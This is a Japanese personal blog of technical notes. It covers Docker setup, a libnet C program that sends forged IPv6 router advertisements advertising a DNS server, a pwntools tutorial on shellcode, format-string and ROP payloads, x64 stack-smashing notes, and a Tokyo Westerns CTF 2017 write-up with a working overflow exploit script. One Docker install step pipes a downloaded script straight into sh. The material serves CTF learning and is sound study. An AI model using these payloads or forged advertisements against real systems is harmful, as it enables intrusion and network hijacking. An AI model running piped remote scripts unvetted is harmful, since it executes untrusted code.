fr33f0r4ll

自分用雑記

Dockerまとめ

環境はCentOS7のはず。

インストール方法

# curl -fsSL get.docker.com -o get-docker.sh
# sh ./get-docker.sh

あるいは単にcurl -fsSL get.docker.com | shでもいいかもしれない。

Dockerの起動

# systemctl start docker

Dockerの状態を確認するには# systemctl status docker

サーバ起動時にDockerも起動する場合は systemctl enable docker

使い方

基本的にはgitやlinuxのコマンドを踏襲した名前のサブコマンドを使って管理する。 例えば、imageの一覧はdocker image lsのような感じになる。

コンテナの動かし方

イメージとコンテナがある。 イメージはコンテナの設計図のようなもので、何をインストールしてどのコマンドを実行するべきかなどの情報を持っているらしい。 一方コンテナは実際に稼動しているサービスのファイルシステムのようである。 イメージに従いコンテナを作りあげ、Dockerはそのコンテナの中でサービスを動かすといったような感じだろうか? 実際のコマンドは以下のような感じになる。

# docker container run hello-world

hello-worldというのはリポジトリにある、Helloと表示するだけのDockerイメージである。 これを使ってDockerが使えるかどうか試せる。 他のイメージでもだいたい同じようにして動かせる。

Dockerではコンテナの実行が終了するとそのコンテナを破棄するらしい(実際はしばらくの間/var以下にあるっぽい)。 なので、データを保存したり次の実行時に使う場合には-vを使って共有する領域に書き出すようにするなどの工夫が必要になる。

イメージのダウンロード

どこかが用意したリポジトリから既に設定されたイメージを使うことができる。 基本的に動かそうとしたときにローカルにないなら自動的にダウンロードされることになる。

Dockerイメージの作り方

+ docker container commit

  • docker image build
FROM base image
RUN running-command(like apt install something)
CMD defalut-running-command
docker image bulid -t image-name path"

dockerhub login docker login docker image tag image-name:tag <user-name>/mywhale:latest make space for container docker image push <user-name>/mywhale docker logout

nginx docker image pull nginx:alpine docker contianer run -d nginx:alpine -d is detach-mode

docker container run -d -P nginx:alpine -P is port mapping docker container run -d -p 8080:80 nginx:alpine host 8080 -> docker 80

docker network inspect bridge | less

network setting docker network create --driver bridge --subnet 192.168.10.0/24 --gateway 192.168.10.1 mynet

run docker run -it alpine /bin/sh -i accept stdin -t pseudo-tty --net network-name

make volume docker volume create myvolune docker run -it -v myvolume:/data alpine /bin/sh -v volume, this can mount local-directory

swarm

ps auxfw [0] tkgsy@tkgsy-HP-Pr0B00k ~/m/s/docker ➞

Othlotechさん主催のDocker勉強会に参加した

参加することに決めたきっかけ

そもそも去年あたりに一度勧誘を受けていてOthlotechの存在を知っていたし参加したいとも思っていたけど、なかなか興味のあるテーマがなかったり院試があったりして伸び伸びになっていた。 院試が終わりFEも合格したので、余裕ができたので色々なことをやってみたくなった。 なので何かしらに参加しようと思っていたところふとこの勉強会が目に留まり、Docker勉強するいい機会だと思って参加を決めた。 最初のうちは人数が一杯だったのでキャンセル待ちだったが、台風のおかげかキャンセルが出て参加することができた。

参加してみて

見事に遅刻した、まあ滅多に出歩かないのでしかたない。 内容自体はとても面白かったし勉強になった、参加して良かった。 講義はDockerがどのようなものでどのような使い方をされているのか、どのようにして実現されているのかといった基本的な背景の解説から始まった。 そして休憩を挟んでハンズオンが始まった、実際にさくらインターネットクラウドサービスを借りてそこでいちからDockerの環境を作った。 そしてDockerhubにあるイメージを利用して、Dockerを使ってアプリケーションを稼動させた。 Dockerが生まれることになった背景から、実際にどれほどの効果があったのかを実際にやってみて体験することで、その有効性を体感できた。 やっぱり新しい技術なんかを勉強するときは何故それが必要なのかを理解していると、すんなりと解説を飲み込むことができる。

感想

勉強会というものに始めて参加したけど、やっぱりひとりで勉強するより知ってる人に教わる方が確実に素早く学べるし、積極的に参加した方がいいと思った。 できれば同じことをやれる友達が欲しいんだけど、できなかった、残念。

libnet

libnet

RDNSS付きのルータ広告を投げる必要があったのでlibnetについて調べてみたが情報がなかったため残しておく。

やり方

初期化

libnetにはIPv6に対応したパケットを作成する機能があるため、普通のパケットならば問題なく作成できる。 今回は近隣探索のパケットを投げるため、ICMPv6のパケットの作成もしている。 libnetを使うときは、最初にinit関数を呼ぶ必要がある。 この返り値に作成するパケットの情報が保持されているようなので最後まで引き回すことになる。

// interfaceはパケットを投げる先のインターフェースを指定する。 exp. "enp4s0"
libnet_t* l = libnet_init(LIBNET_RAW6, interface, errbuf);

パケット作成

buildと付いた関数がたくさんあるので、その中からそれっぽいのを探してそれを使う。 ICMPv6などのパケットならば、連続してbuild関数を呼び出すとそれっぽく処理してくれる。 今回はICMPv6, IPv6のパケットのbuild関数を呼び出している。 checksumなどの値も自動で計算されるので楽。もちろん間違った値をわざと入れることもできる。

今回使おうとしたRDNSSはうまくオプションを設定できなかったため、直接値を入れるようにしている。 多分もっと普通の方法があると思うけど、なぜか近隣探索のオプション設定がうまくできなかったので力技でやっている。

追記 libnet_ptag_tでそれぞれのプロトコルのブロックを管理しているらしいので試してみる。

送信

最後のlibnet_writeで送信している。 送信先アドレスや送信元アドレスによって失敗することもある。 あまり適当すぎるアドレスだと不正になってしまうようだ。

code

#include <stdio.h>
#include <libnet.h>

#define ND_RA_MANAGED_CONFIG_FLAG 0x0800000
#define ND_RA_OTHER_CONFIG_FLAG   0x0400000
#define ND_RA_HOP_LIMIT           0x1000000
#define ND_OPT_RDNSS              0x19
#define LIFETIME_INF              0xffffffff

typedef struct libnet_in6_addr libnet_in6_addr;

void build_icmpv6_rdnss_opt(libnet_t* l,
                libnet_in6_addr *header,
                uint8_t *payload,
                uint32_t lifetime,
                const char* dns_addr);

int main(int argc, char** argv){
  if (argc != 5) {
    fprintf(stderr, "%s <interface> <src addr> <dist addr> <dns addr>\n", argv[0]);
    exit(1);
  }

  // set argv
  char *interface = argv[1];
  char *dist_addr = argv[2];
  char *src_addr = argv[3];
  char *dns_addr = argv[4];
  
  libnet_t *l;
  libnet_in6_addr sip, dip, trg;
  char errbuf[LIBNET_ERRBUF_SIZE];

  /***************************************************************
    initialize libnet, this must be called before other functionsn
   ***************************************************************/
  l = libnet_init(LIBNET_RAW6, interface, errbuf);
  if(l == NULL) {
    printf("libnet_init: %s\n", errbuf);
    exit(1);
  }

  // get ipv6-addr struct
  sip = libnet_name2addr6(l, src_addr, LIBNET_DONT_RESOLVE);
  dip = libnet_name2addr6(l, dist_addr, LIBNET_DONT_RESOLVE);

  /********************************* 
   *   build router advertisement  *
   *********************************/  
  uint32_t lt = LIFETIME_INF;
  uint8_t payload[16];
  build_icmpv6_rdnss_opt(l, &trg, payload, lt, dns_addr);
  
  libnet_build_icmpv6_ndp_nadv(
                   ND_ROUTER_ADVERT,                               // uint8_t type
                   0,                                              // uint8_t code
                   0,                                              // uint16_t check_sum
                   64 * ND_RA_HOP_LIMIT + ND_RA_OTHER_CONFIG_FLAG, // uint32_t flags
                   trg,                                            // libnet_in6_addr target
                   payload,                                        // uint8_t* payload
                   16,                                             // uint32_t payload size
                   l,                                              // libnet_t* context
                   0                                               // libnet_ptag_t ptag, 0 means create new one
                   );
  
  // build ipv6 packet
  libnet_build_ipv6(
            0,                                        // uint8_t traffic class
            0,                                        // uint32_t flow label
            LIBNET_IPV6_H + LIBNET_ICMPV6_NDP_NADV_H, //uint16_t len
            IPPROTO_ICMP6,                            //uint8_t nh -> next header
            64,                                       //uint8_t hl -> hop limit
            sip,                                      //libnet_in6_addr src
            dip,                                      //libnet_in6_addr dst
            NULL,                                     //uint8_t* payload
            0,                                        //uint32_t payload_s
            l,                                        //libnet_t* l
            0                                         //libnet_ptag_t ptag
            );
    
  if(libnet_write(l) == -1) {
    printf("libnet_write: %s\n", libnet_geterror(l));
    exit(1);
  }

  libnet_destroy(l);
 
  return 0;
}

/**
 * set config value to header and payload.
 * @param l libnet context
 * @param header header of RDNSS, set some value into this
 * @param payload dns address is set here
 * @param lifetime lifetime of dns server
 * @param dns_addr address of dns server, like "2001:db8::1"
 */
void build_icmpv6_rdnss_opt(libnet_t* l,
                libnet_in6_addr *header,
                uint8_t *payload,
                uint32_t lifetime,
                const char* dns_addr){
  // copy address, builder funciton accepts only uint8_t*
  for (int i = 0; i < 16; i++)
    payload[i] = libnet_name2addr6(l, dns_addr, LIBNET_DONT_RESOLVE).__u6_addr.__u6_addr8[i];
  
  header->__u6_addr.__u6_addr8[8] = 0x19; // type num RDNSS
  header->__u6_addr.__u6_addr8[9] = 0x2 + 0x1; // 0x2 + number_of_dns_addr
  header->__u6_addr.__u6_addr32[3] = lifetime;
  
  return;
}

MacBookリカバリー

MacBookが壊れて起動しなくなったのでリカバリーの手順をメモっておく。

症状

起動するとログインアカウントが表示されず、?マークのあるフォルダのアイコンが表示されていた。 正確に言うとデュアルブートできるようにしていたので、linuxの方しか起動しなかった。 パーティション削除したらフォルダアイコンでたので多分同じ原因だと思う。

修復方法

まず一旦電源を落とし、再起動する。 起動したタイミングでCmd+Rを押し、地球のマークがでてくるまで待機する。 するとリカバリメニューに入るためにネットワーク接続が必要になるので、無線LANの設定をするか有線を繋ぐかしてオンラインにする。 5分くらい待つ、多分回線速度次第で速くなったり遅くなったりすると思う。

するとリカバリメニュー一覧みたいなのが表示されるので、ディスクの修復メニューに入る。 自分の場合はパーティションの設定をミスってディスクがおかしくなっていたらしいので、ディスクをまるごとフォーマットした。 ここからバックアップも取れるっぽいので、必要なら取っておく。 タイムマシンにデータがあったので今回はフォーマットだけにした。

フォーマットなり修復なりが終了したら、ディスクメニューを終了し、タイムマシンからの復元かOSの再インストールを選択する。 起動しない場合は多分入れなおさないと直らないんじゃないかと思う。バックアップもあることだし再インストールした。

これで直る(かもしれない)。

pwntools 使い方

pwntoolsの使い方

tags: ctf pwn pwntools howtouse

忘れないようにメモする。 公式のDocsとか、関数のdescriptionが優秀なのでそっちを読んだ方が正確だと思う。 でも日本語じゃないと読むのに時間がかかってしまうので日本語でメモする。

基本

基本的な機能の使い方。 プログラムへの入出力など。

from pwn import *

# プログラムを実行するprocessを作る
# cwdキーワードで現在のワーキングディレクトリが変更できる
p = process('test_program')
# p = remote('127.0.0.1', 12345) # 127.0.0.1の12345ポートに接続する、processとAPIが同じなのでそっくりそのまま同じように動作する

ret = p.recv() # test_programの出力をEOFまでを受けとる
ret = p.recvline() # 改行までを受けとる、改行が送られないとここで止まるので注意
ret = p.recvline(timeout=0.01) # recv系はtimeoutを設定できる、単位は秒。ハングするのが嫌なら設定しておくといい
ret = p.recvuntil('some output') # 引数の文字列までを受けとる。

# ログとして出力する。context.log_levelに値を設定することで、debug, infoなど出力するログも操作できる
log.info(ret) 

payload = ''
payload += p32(64) # 数値をリトルエンディアンで32ビット長の文字列として変換する。
# 64なら'@\x00\x00\x00'になる。
# ほかにもp64という関数があり、こっちは64ビット長として変換する。
# 逆変換はu32()、符号無し整数としてデコードしてくれる。
payload += 'some shellcodes'

# test_programにpayloadを送る。文字列ならなんでも。
p.send(payload) # 末尾になにもなし、多分EOFが付く
p.sendline(payload) # これなら末尾に改行が付く

# 実行すると入出力を直接表示、送信するようになる。
# 相手側でシェルを開いたときに起動すると対話的に操作できる
p.interactive()

基本的にはrecvsend系を使っていく。他にも便利機能がたくさんあるけど、これだけでもpwnを始められる。

実際のpwnの流れとしては、processでプログラムを実行して解析しながらsendrecvで送受信を行なって、シェルが取れたらinteractiveで直接操作する、というような感じになる

場合によってはローカル環境でプログラムを実行できるときもremoteを使うことがある、プログラムが直接ポートにバインドされてフォークするようないわゆるfork型のときとか。

ELFの解析

elfファイルの解析はIDAとかreadelfとかradare2でやったりするが、なんとpwntoolsからでもある程度解析ができる。 ちょっと関数のアドレスとかpltやgotのアドレスを使いたいときにはハードコーディングしなくて済むので、後から確認するとき"あれ、これなんだっけ?"とならずに済む。 ROP関連の機能にも使える。

from pwn import *

elf = ELF('program') # 解析、ログにセキュリティ機構などの解析結果も表示される。
# 多分pwntoolsに付いてくるchecksecと同じ出力
# libcなどの共有ライブラリも解析できて、その場合はオフセットが分かる
# ローカルとリモートでglibcが違うときとかに読み込むライブラリを変更すると便利

elf.plt['printf'] # plt領域にあるprintf関数のアドレス
# ハードコーディングせずにすむのでこっちの方が良いと思う。
# ときどき間違ってるっぽい?理解が足りなくて勘違いしてるだけかもしれない
# 心配ならobjdumpとかreadelfとかでも調べておこう

elf.got['printf'] # 同じようにgot領域のアドレスも調べられる

elf.symbols['local_variable'] # stripされてなかったりするとシンボルのアドレスも参照できる

elf.bss() # セクションのアドレスなんかもある

他にも色々な情報が参照できるので最初に解析用のスクリプト作っておくのもいいかもしれない。 dir()でメンバの名前見ればだいたい何の情報か想像も付くので、たとえ忘れても安心。

設定

contextは解析のための情報を渡すことができる、ようはconfig。

from pwn import *

context.arch = 'amd64' # 解析するプログラムのアーキテクチャを設定できる、初期値は多分i386
context.log_level = 'debug' # ログのレベルを設定できる。普段は多分infoぐらいが表示される
# pwntoolsのバグっぽいのに遭遇したらdebugにして見てみよう

context(arch='amd64') # 関数から設定することもできる

ちょっと変わったバイナリを解析するときは、一度こっちの設定を確認して、適切かどうか見るといいかもしれない。 シェルコードの生成とか関数の挙動に影響するので、間違った設定になっていると思った通りにエクスプロイトが動かなかったりする。 お行儀良く最初に設定しておこう。

shellcode

shellstormでいいけど、pwntoolsにも簡単なものはあるので多少は楽にエクスプロイトが書けるかも。 スクリプト中でアセンブルもできる。書けるかどうかはともかく。

from pwn import *

asm(shellcraft.sh()) # shellcraft.sh()はシェルを開くアセンブリコードを返す、asm()はそれをアセンブルする
# shellcraftの返り値は単なるアセンブリコードなので、シェルコードの勉強に持ってこいだったりする
# デフォルトが使えなかったときは攻撃対象に合わせて書き換えてみよう

# アセンブリコードを文字列として渡すとアセンブルしてくれるので、必要に応じて書くこともできる
asm('''
xor ebx, ebx
lea eax, [ebx + 4]
mov ecx, esp
lea edx, [ebx + 0xff]
int 0x80
''')

asmを使えば自作shellcodeを使うこともできるので、shellcodeを書く練習にももってこい。 shellcraftのサブモジュールにはアーキテクチャやOSに対応したモジュールがあり、様々シェルコードが収録されているみたいなので一度探索してみると面白いかもしれない。

書式文字列攻撃

書式文字列攻撃のための機能もある。 攻撃を自動でやるようにする使い方もできるらしいが、関数のセッティングが面倒そうだったので、ここではペイロードを作成する機能の紹介だけにする。 基本的には書き込みたい値と書き込み先アドレスを指定すると、書式文字列攻撃で書き込みをするペイロードを返すといった感じ。

from pwn import *

p = process('target_program')

trg = ELF('target_program')
trg_addr = trg.symbols['target_symbol']

# trg_addrに0x12345678と書き込む
writes = {trg_addr : 0x12345678}
offset = 11 # printfの引数があるオフセット、書式文字列攻撃ができるなら多分オフセットのリークもできる
payload = fmtstr_payload(offset, writes, numbwritten=0)

p.send(payload)

offsetには書式文字列バグのある箇所で、入力した文字列が出現する位置を指定する。 適当に%xとか入力して調べる必要がある。

numbwrittenは既に書き込んだ文字数を指定する、デフォルトで0なのでこの例では本当はいらない。 書式文字列攻撃はprintfのこれまで出力したバイト数を変数へ書き込むパラメータを利用して任意のアドレスへの書き込みをするので、これまでの出力数が正しくないとペイロードを組み立てることができない。

writes{書き込みたいアドレス : 書き込みたい値}という形式で書き込んでいく値などを指定する。

fmtstr_payloadにそれらを渡すとペイロードを作成して返すようになっている。

ROP

ropチェインを組み立てることができる機能がある。 elfの解析結果を使えば自動的に呼び出しのフレームを作成したりできるので便利。

from pwn import *

elf = ELF('test_program')
rop = ROP(elf)

# 直接値をスタックに積む
rop.raw(0)

# 関数などの呼び出しをする、シンボルがないと無理?
# 引数も渡せる
rop.call('read', [0, 4, 10])

# 横着なwrite call
rop.write(1, 4, 10)

# ropガジェットを勝手に探してきてスタックフレームの調節をしてくれるらしいので気にせず呼び出せる

# 本当にちゃんと出来てるか知りたいときはダンプすることもできる
# シンボルなどがあるときはその内容まで表示してくれるので分かりやすい
print(rop.dump())

# ropガジェットの検索もできる
# 返り値はGadgetクラスで直接rop.raw()に渡したりできる、むしろ直接渡した方が情報が表示されるので良い
rop.find_gadget(['pop eax', 'ret']) # pop eax; ret

# ガジェット一覧
rop.gadgets()

# ropチェインの取得、文字列として
rop.chain()
str(rop)

callがとても便利そう。ガジェットの検索はrp++とかの専用ツールほどフレキシブルな検索はやってくれないっぽいのでそういうのはやっぱり自分で探す必要がある(残念)。

デバッガ

自分の環境では動かなかったが、gdbデバッグもできるらしい。

from pwn import *

context.terminal = ['terminator', '-e']
p = process('program')
gdb.attach(p)
gdb.debug('program')

追記 どうも元のプログラムでプロセスIDを直接引数としてgdbに渡してるのが原因っぽい。gdbはプロセスにアタッチするとき、プロセスIDは-pオプションに渡さないといけないはず。そのことでIssueも立ってたけど、聞いてみたけど問題として認識してないっぽい? TODO: 直ってるかチェック

定数値

エクスプロイトを書くときや解析しているときは様々な定数値(システムコール番号とかマクロとか)がしょっちゅうでてくる。 でも全部憶えるのはまず無理なのでその都度調べるのだけど、pwntoolsにそのような定数値を調べられる機能がある。 一々ブラウザやman開いてスクリプトにメモするのも面倒なので積極的に使いたい機能の1つ。

from pwn import *

# 名前で調べる、`execve`のシステムコール番号が返る
constants.eval('SYS_execve')

# 直接定数値をロード
constants.SYS_execve

# 他にもシグナル番号などもある
constants.SIGKILL

# どんな定数値があるかの一覧
help(constants)

定数値はしょっちゅう忘れるので地味に便利。 スクリプト中でマジックナンバーになって意味が分からなくなったりしないし。 contextの設定に従ってアーキテクチャに対して適切な値を返すので、設定してから使わないと変な値になったりする。

その他

pwntoolsはライブラリとしてだけではなく、コマンドラインから使うこともできる。 pwn --helpで使い方が表示される。 checksecとかちょっとしたアセンブラとか便利な機能も多いので一度覗いてみるといいかもしれない。 定数値検索のできるconstgrepがとても便利。

おわり

使ったことのある機能はこれぐらい。 他にも色々便利そうな、書式文字列攻撃用のモジュールだったりflag管理用のモジュールだったりがあるので、公式を見ておくとワクワクできる。 使い方は分かりません。使われてない機能だとバグっぽいのもしばしばあったりするけれど、そういうときは他のコマンドで補おう。

X64 pwn

x64でのpwn

Cでの話、goとかだと違う。 基本はx86と同じだが、いくつかの点で違いがある。
https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/を参考にしている。

引数の渡し方

x86では関数呼び出しするときにスタックに値をpushして引数を渡していたため、スタックの値を書き変えれば引数を操作できた。 x64ではレジスタに引数の値を指定するため、引数の操作がやりにくくなっている。

引数の順番はWinとgccで違ったりする、CTFだとだいたいgcc版になる。 gcc版だと一番目からrdi, rsi, rdx, rcx, r8, r9になる。 exe版だとrcx, rdx, r8, r9になる。 4個以上の引数がある関数はあまり見ないので知らない。

レジスタ

64bit長になった。 つまり、pushやpopは8バイト単位で動作し、アドレス長も8バイトになっている。 さらにレジスタ自体の数も増えて、R8やR9などが追加されている。 x86レジスタは、RAXやRSPのようにRを付けると64ビットでアクセスできる。 EAXやEBXで下位32ビットにアクセスできる。 それ以外はx86と同じようにアクセスできる(下位32ビットに対して)。

アドレス

バッファオーバーフローでリターンアドレスを書き換えEIPを奪うのはpwnではx86での上等手段だった。 例えば長い文字列を渡しバッファを溢れさせると、eipの値が0x41414141などになっているのがgdbなどで確認できる。 しかし、x64ではアドレス空間が64bitに拡張され、有効な命令アドレスの範囲は0x00007FFFFFFFFFFFまでに制限されている。 したがって、リターンアドレスを書き換え過ぎるとripが書き換えられないでプログラムがSIGSEGVされる。 このままだと確認しにくいので、ret命令時のスタックトップがリターンアドレスとして読み込まれるので、その値からオフセットを割り出し適切な長さに調節するとよい。

環境変数

環境変数はプログラム実行時にスタックに積まれているので、環境変数が設定できるなら文字列を設定し、そのアドレス引数にしたりするテクニックが使える。

ROP

レジスタを介して引数を渡すため、ROPを使う場面が増える。 例えばpop rsi; retという命令へのアドレスをリターンアドレスとして設定すると、スタック上でリターンアドレスの次にある値がRSIに設定できる。 これを利用してレジスタに値を設定することで関数に引数を渡せる。

Tokyo Westerns CTF3rd 2017 Writeup

Tokyo Westerns CTF3rd 2017 writeup

ほぼWarmupだけ(Webは解けてない)。 200ptで142位でした。

Just do it

Pwn

プログラムの動作はパスワードの入力を求め、あってるかどうかを判定するものである。 とりあえず、stringsで探したら見つかったパスワードを入力してみたが、単にCorrect!と表示されただけだった。 どう考えてもflagじゃない。

アセンブルしてコードを見ながらgdbで解析してみるとflag.txtを開いてその内容をグローバル変数にに入れていることが分かった。これを表示させる必要がある。

0x08048618      68d3870408     push str.flag.txt           ; 0x80487d3 ; "flag.txt"
0x0804861d      e87efeffff     call sym.imp.fopen          ; file*fopen(const char *filename,
0x08048622      83c410         add esp, 0x10
0x08048625      8945f0         mov dword [local_10h], eax
...
0x08048648      83ec04         sub esp, 4
0x0804864b      ff75f0         push dword [local_10h]
0x0804864e      6a30           push 0x30                   ; '0' ; '0'
0x08048650      6880a00408     push obj.flag               ; 0x804a080
0x08048655      e8e6fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)

しばらく適当にパスワードを入力すると、fgetsで文字数制限しているのにプログラムが落ちることが分かった。 gdb-pedaで落ちたときの状況を調べてみると、最後の不正解のメッセージを表示するところで不正なアドレスが指定されているらしかった。 入力した文字と照し合わせると、20文字目からの値がアドレスに格納されることが分かった。 checksecするとPIEはなかったので多分アドレスは固定のはず(かな?)。 なので、20文字入力したあと、flagが格納された変数のアドレスを入力すればflagが表示されるはず。 コードはこれ。

from pwn import *
import time

host = 'pwn1.chal.ctf.westerns.tokyo'
port = '12345'
adrs = 0x804a080
i = 20
shellcode = 'A' * i + p32(adrs) + '\x00'

# p = process("./just_do_it")
p = remote(host, port)
log.info(p.recvuntil('\n'))
log.info(p.recvuntil('\n'))
log.info(i)
p.sendline(shellcode)
time.sleep(1)
print(p.recvuntil('\n'))

成功。 でもかなり時間をかけてしまった、pwnに慣れたい。

Rev Rev Rev

Rev

かなり分からなかった。 strippedなので関数名とか全然分からない。 とりあえず逆アセンブルしてみたところ、4つの関数で入力を加工したあと、プログラム内の値と比較して一致すればいいらしい。 最初の関数(0x080486b9)は読み込んだ改行文字をヌル文字に置き換えている。

2つ目の関数(0x080486db)は入力された文字列を逆順にしている。

3つ目の関数(0x08048738)はビット演算とシフトを繰り返して文字を変換している。 Cのコードにするとこんな感じの処理をしている。逆算する方法が分からなかった。

void fcn38(char* arg_8h){
  char* local_4h = arg_8h;
  char local_5h;

  while(*local_4h != '\0'){
    local_5h = *local_4h;
    local_5h = (((unsigned int) local_5h & 0x55) * 2) | ((local_5h >> 1) & 0x55);
    local_5h = (((unsigned int) local_5h & 0x33) << 2) | ((local_5h >> 2) & 0x33);
    local_5h = ((unsigned int) local_5h << 4) | (local_5h >> 4);
    local_4h[0] = local_5h;
    
    local_4h++;
  }
}

4つ目の関数(0x080487b2)文字毎にnotを取っているだけだった。

gdbで一致させるデータ列を確認した。16進数値でこんな感じ。

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

静的に解く方法が思い付かなかったので力技でやる。 gdbを使ってひたすら入力を変換させて、どの文字がどの値になるのかひたすら調べた。 一度に複数文字入力してもいいのでそこまで手間じゃなかった。 解くのに十分なだけのデータが揃ったところで入力を生成させて、送信、そして成功。

変換テーブルを含んだコードはこんな感じ。

table = {}
table['-'] = hex(0x4b)
table['.'] = hex(0x8b)
table['/'] = hex(0x0b)
table['0'] = hex(0xf3)
table['1'] = hex(0x73)
table['2'] = hex(0xb3)
table['3'] = hex(0x33)
table['4'] = hex(0xd3)
table['5'] = hex(0x53)
table['6'] = hex(0x93)
table['7'] = hex(0x13)
table['8'] = hex(0xe3)
table['9'] = hex(0x63)
table[':'] = hex(0xa3)
table[';'] = hex(0x23)
table['<'] = hex(0xc3)
table['='] = hex(0x43)
table['>'] = hex(0x83)
table['?'] = hex(0x03)
table['@'] = hex(0xfd)
table['A'] = hex(0x7d)
table['B'] = hex(0xbd)
table['C'] = hex(0x3d)
table['D'] = hex(0xdd)
table['E'] = hex(0x5d)
table['F'] = hex(0x9d)
table['G'] = hex(0x1d)
table['H'] = hex(0xed)
table['I'] = hex(0x6d)
table['J'] = hex(0xad)
table['K'] = hex(0x2d)
table['L'] = hex(0xcd)
table['M'] = hex(0x4d)
table['N'] = hex(0x8d)
table['O'] = hex(0x0d)
table['P'] = hex(0xf5)
table['Q'] = hex(0x75)
table['R'] = hex(0xb5)
table['S'] = hex(0xd5)
table['T'] = hex(0x55)
table['U'] = hex(0x95)
table['V'] = hex(0x65)
table['W'] = hex(0x15)
table['X'] = hex(0xe6)
table['Y'] = hex(0x65)
table['Z'] = hex(0xa5)
table['['] = hex(0x25)
table['\\'] = hex(0xc5)
table[']'] = hex(0x45)
table['^'] = hex(0x85)
table['_'] = hex(0x05)
table['`'] = hex(0xf5)
table['a'] = hex(0x79)
table['b'] = hex(0xb9)
table['c'] = hex(0x39)
table['d'] = hex(0xd9)
table['e'] = hex(0x59)
table['f'] = hex(0x99)
table['g'] = hex(0x19)
table['h'] = hex(0xe9)
table['i'] = hex(0x69)
table['j'] = hex(0xa9)
table['k'] = hex(0x29)
table['l'] = hex(0xc9)
table['m'] = hex(0x49)
table['n'] = hex(0x89)
table['o'] = hex(0x09)
table['p'] = hex(0xf1)
table['q'] = hex(0x71)
table['r'] = hex(0xb1)
table['s'] = hex(0x31)
table['t'] = hex(0xd1)
table['u'] = hex(0x51)
table['v'] = hex(0x91)
table['w'] = hex(0x11)
table['x'] = hex(0xe1)
table['y'] = hex(0x61)
table['z'] = hex(0xa1)
table['{'] = hex(0x21)
table['|'] = hex(0xc1)
table['}'] = hex(0x41)
table['~'] = hex(0x81)

l = ["0x41",
     "0x29",
     "0xd9",
     "0x65",
     "0xa1",
     "0xf1",
     "0xe1",
     "0xc9",
     "0x19",
     "0x9",
     "0x93",
     "0x13",
     "0xa1",
     "0x9",
     "0xb9",
     "0x49",
     "0xb9",
     "0x89",
     "0xdd",
     "0x61",
     "0x31",
     "0x69",
     "0xa1",
     "0xf1",
     "0x71",
     "0x21",
     "0x9d",
     "0xd5",
     "0x3d",
     "0x15",
     "0xd5"]

rev_table = {}
for k, e in table.items():
    rev_table[e] = k

a = list(map(lambda x: rev_table[x], l))

ans = ""
for c in a:   
    ans += c

print(ans)

変換テーブルがでかい。

Palindromes Pairs - Coding Phase -

PPC

pythonでやった。 問題文の解釈で時間食ってしまった。 実装は単純に先頭と末尾から比較していくだけ。 これがベストな方法なのかな? コードはこんな感じ。

from pwn import *


def copy(lst):
    lst2 = []
    for i in lst:
        lst2.append(i)

    return lst2


def is_palindrome(s):
    head = 0
    tail = len(s) - 1
    while(head < tail):
        if(s[head] != s[tail]):
            return False
        head += 1
        tail -= 1

    # print(s)
    return True


def get_palindromes_set(lst):
    palin_set = set()
    for e in lst:
        if is_palindrome(e):
            palin_set.add(e)
    return palin_set


def get_palindromes_num(lst):
    count = 0
    length = len(lst)

    for i in range(0, length):
        elm = lst[i]
        rest = lst[i+1:length]

        if len(rest) != 0:
            head_list = [is_palindrome(elm + e) for e in rest]
            last_list = [is_palindrome(e + elm) for e in rest]
            count += head_list.count(True) + last_list.count(True)

        if is_palindrome(elm + elm):
            count += 1

    return count

host = 'ppc1.chal.ctf.westerns.tokyo'
port = '8765'
p = remote(host, port)

log.info(p.recvuntil('----- START -----\n'))
for _ in range(50):
    log.info(p.recvuntil('\n'))
    log.info("num:" + p.recvuntil('\n'))
    words = p.recvuntil('\n')
    log.info(words)

    words = words.strip().split(" ")
    ans = get_palindromes_num(words)
    log.info(str(ans))
    p.sendline(str(ans))
    log.info(p.recvuntil('\n'))
    p.recvuntil('\n')

p.interactive()

lisp使いたくなった、python2だとオブジェクトを変更するからやりにくく感じる。 そもそもコードがpythonっぽくない、修行足りてない。 まあ一応解けたので良しとしよう。

My Simple Cipher

Crypto

7zの解凍方法を忘れ無駄に悩む。 cipher.pyの暗号化方法自体は単純にキーと前回の値を使って値を加算しmodを取るだけの単純なもの。 逆算自体は無理なのかな?IPUSIRONさんの本で勉強しないと。

注目するべきなのは平文と暗号文で文字の位置は同じであること、"|“があること、keyが13文字で固定なことである。

この"|“が固定であるおかげで、この位置で使われた鍵の文字は特定することができる。 暗号化に用いられたmessage[i], key[i % 13], encrypted[i]のうちmessage[i]とencrypetd[i]が判明しているので、以下のようになるはずである、多分。

(encrypted[i+1] - encrypted[i] - message[i]) % 128 = key[i % 13]

この位置だと、最初が0として22文字目が該当する。 最初の一文字はランダム与えられた初期化ベクトルのような値なので無視すると、21文字目である。 13でmodを取ると8、従って鍵の8文字目が分かる。

次に鍵の8文字目で暗号化されている部分に着目する、この部分は復号化可能である。 ここで、暗号文の最後に鍵が含まれていることを利用する。 鍵の8文字目で暗号化されている部分を復号すると鍵の別の場所の文字が分かる。 これを繰り返して鍵全体を復号化し、それを用いてencryptedを復号化する。 あとは単純作業になる。

自動化できるけど13文字ならインタープリターでやった方が速いかと思って手元でメモを取りながらやった。 あとで自動化する。

全体の復号化をする関数だけコード書いた。

def decrypt(key, cipher):
    dec = ""
    tmp = []
    rev_c = list(cipher)
    rev_c.reverse()

    for i in range(len(rev_c) - 1):
        tmp.append(ord(rev_c[i]) - ord(rev_c[i+1]))

    tmp.reverse()

    for i in range(len(tmp)):
        dec += chr((tmp[i] - ord(key[i % 13])) % 128)

    return dec

pplc

PPC

唯一warmup以外で解けた問題。 3つフラグがあって、python特有のメタプログラミングネタの問題。

private

ひとつめの問題。

プライベートなメソッドについての問題。 pythonにはアクセス修飾子がないが、接頭語と接尾語にアンダースコア(であってたかな、_のこと)を使うことでコーディング規約として扱いを変えたりする。 接頭語として__があって、接尾語がないメソッドは名前が_ClassName__methodnameとなる。 つまり、p._Private__flag()を送信すればいいはずなのだが、assert文でPrivateが含まれる文字列は弾かれてしまう。

